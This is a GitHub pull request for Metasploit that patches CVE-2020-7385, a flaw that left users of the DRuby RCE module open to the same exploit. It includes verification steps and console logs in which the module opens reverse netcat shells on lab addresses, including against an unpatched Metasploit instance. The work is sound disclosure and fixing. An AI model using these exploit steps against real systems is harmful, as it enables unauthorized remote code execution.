Fixes and updates for the DRuby RCE module #14300

Merged bwatters-r7 merged 4 commits into `rapid7:master` from `zeroSteiner:fix/drb` on Oct 23, 2020

zeroSteiner commented on Oct 22, 2020 • edited by bwatters-r7 Contributor

By far the most important change this PR makes is in commit `49145bf`. This fixes a security issue whereby a user who has run the `exploit/linux/misc/drb_remote_codeexec` is vulnerable to it themselves. This was issue was privately reported to the Metasploit project through our vulnerability disclosure process. All credit to Jeff Dileo of NCC Group for reporting this vulnerability.

While testing this vulnerability I found that we could simply remove the affected service in question. Prior to this patch, a new instance of the service would be started each time the module was executed. Only one DRuby service instance is necessary to be vulnerable but either way this is a leak that should be addressed. After removing the service I tested each of the targets to ensure that none were dependent on it which led me to issues with the syscall target. The explicit delay between the fork and exec was enough to fix this for me. With this in place the default/instance_eval target and syscall targets are working for me. The trap target did not work for me before or after this patch, so that's still an outstanding issue from what I can tell.

I also added a check method. This can be used to check for vulnerable instances of DRuby services, both from Metasploit and otherwise.

Verification

List the steps needed to make sure this thing works

- [x] Start a target server, using the **client.rb** script below
  - No seriously, use the client, the server runs but for reasons I haven't identified it's not vulnerable to exploitation because the MSF module's methods don't work.
  - [x] Once the client is running (use `ruby client.rb`), use the PID it prints out to find TCP ports that it's listening on. There should be a high port that's used for the DRuby service. Note this port down, it'll be used for the rest of testing. Don't hit enter so it stays running.
- [x] Validate that the patch fixes the vulnerability
  - [x] **Optionally** reproduce the original issue
    - [x] Start a vulnerable (unpatched) instance of `msfconsole`
    - [x] Set the options as appropriate to target the **client.rb** instance and run the exploit, get a shell using the Autotomatic / Eval target
    - [x] Get the PID of Metasploit using `irb -e "puts 'msfconsole pid: ' + Process.pid.to_s"`
    - [x] Find the high port that Metasploit has opened, ignore the port used by the session if you left that open.
    - [x] Set the RHOST and RPORT options to target Metasploit and run the exploit again, get a shell 😳
  - [x] Start a patched instance of `msfconsole`
  - [x] Set the options as appropriate to target the **client.rb** instance and run the exploit, get a shell using the Autotomatic / Eval target
  - [x] Get the PID of Metasploit using `irb -e "puts 'msfconsole pid: ' + Process.pid.to_s"`
  - [x] See there are no open services opened by Metasploit, ignore the port used by the session if you left that open. 😄
- [x] Test the check method
  - [x] Targeting the client.rb script as privously described, it should be identified as vulnerable

Example

In the following example, the address of the machine running Metasploit is 192.168.159.128

```
msf6 exploit(linux/misc/drb_remote_codeexec) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(linux/misc/drb_remote_codeexec) > set RPORT 36711
RPORT => 36711
msf6 exploit(linux/misc/drb_remote_codeexec) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(linux/misc/drb_remote_codeexec) > set TARGET Automatic
TARGET => Automatic
msf6 exploit(linux/misc/drb_remote_codeexec) > show options

Module options (exploit/linux/misc/drb_remote_codeexec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.159.128  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   36711            yes       The target port


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(linux/misc/drb_remote_codeexec) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Trying to exploit instance_eval method
[*] Command shell session 1 opened (192.168.159.128:4444 -> 192.168.159.128:54266) at 2020-10-22 13:06:11 -0400

id
uid=1000(smcintyre)...
```

```
^C
Abort session 1? [y/N]  y

[*] 192.168.159.128 - Command shell session 1 closed.  Reason: User exit
msf6 exploit(linux/misc/drb_remote_codeexec) > irb -e "puts 'msfconsole pid: ' + Process.pid.to_s"
msfconsole pid: 50417
msf6 exploit(linux/misc/drb_remote_codeexec) > sudo netstat -antp | grep 50417
[*] exec: sudo netstat -antp | grep 50417

[sudo] password for smcintyre:
tcp        0      0 127.0.0.1:49710         127.0.0.1:5432          ESTABLISHED 50417/ruby
tcp        0      0 192.168.159.128:34208   192.168.159.128:36711   ESTABLISHED 50417/ruby
tcp        0      0 127.0.0.1:49704         127.0.0.1:5432          ESTABLISHED 50417/ruby
tcp        0      0 127.0.0.1:49718         127.0.0.1:5432          ESTABLISHED 50417/ruby
msf6 exploit(linux/misc/drb_remote_codeexec) > check
[+] 192.168.159.128:36711 - The target is vulnerable.
msf6 exploit(linux/misc/drb_remote_codeexec) > set RPORT 8787
RPORT => 8787
msf6 exploit(linux/misc/drb_remote_codeexec) > check
[+] 192.168.159.128:8787 - The target is vulnerable.
msf6 exploit(linux/misc/drb_remote_codeexec) >
```

Resources

The following two scripts helped me through this process. The originals came from the Ruby 2.7.1 Documentation.

- ▶ DRuby Client
- ▶ DRuby Server

😄 1 ❤️ 1

zeroSteiner added 4 commits 2 years ago

- `Don't start the DRuby service, it appears unnecessary` `49145bf`
- `Fix the syscall DRuby target by adding a small delay before execve` `34e41e6`
- `Add the DRuby RCE check method` `8aca08f`
- `Apply rubocop fixes for the DRuby RCE module` ✓ `ba17a5d`

zeroSteiner added bug **module** labels on Oct 22, 2020

bwatters-r7 self-assigned this on Oct 23, 2020

bwatters-r7 merged commit **294269b** into `rapid7:master` on Oct 23, 2020
3 checks passed

View details

---

rapid7 deleted a comment from **bwatters-r7** on Oct 24, 2020

pbarry-r7 added the rn-fix label on Oct 28, 2020

pbarry-r7 commented on Oct 28, 2020 • edited — Contributor

Release Notes

Fixed CVE-2020-7385, a security issue whereby a user who has run the `exploit/linux/misc/drb_remote_codeexec` module becomes vulnerable to it themselves, which was discovered and reported by Jeff Dileo.

wvu commented on Oct 28, 2020 — Contributor

FWIW, exploiting the Metasploit module with the Metasploit module before the patch to the Metasploit module:

```
msf6 exploit(linux/misc/drb_remote_codeexec) > options

Module options (exploit/linux/misc/drb_remote_codeexec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        no        The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   58320            yes       The target port
   URI                      no        The URI of the target host (druby://host:port) (overrides RHOST/RPORT)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(linux/misc/drb_remote_codeexec) > run
```

```
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Trying to exploit instance_eval method
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:58322) at 2020-10-23 14:07:09 -0500
```

zeroSteiner mentioned this pull request on Nov 2, 2020

Remove the DRuby remote code execution module #14335

Merged

2 tasks

zeroSteiner deleted the `fix/drb` branch last year

deargle mentioned this pull request on Sep 30, 2021

lab-exploitation: The exploit for Ruby DRb RMI cannot be found. security-assignments/security-assignments.github.io#4

Closed

Reviewers

No reviews

Assignees

bwatters-r7

Labels

bug **module** rn-fix

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

4 participants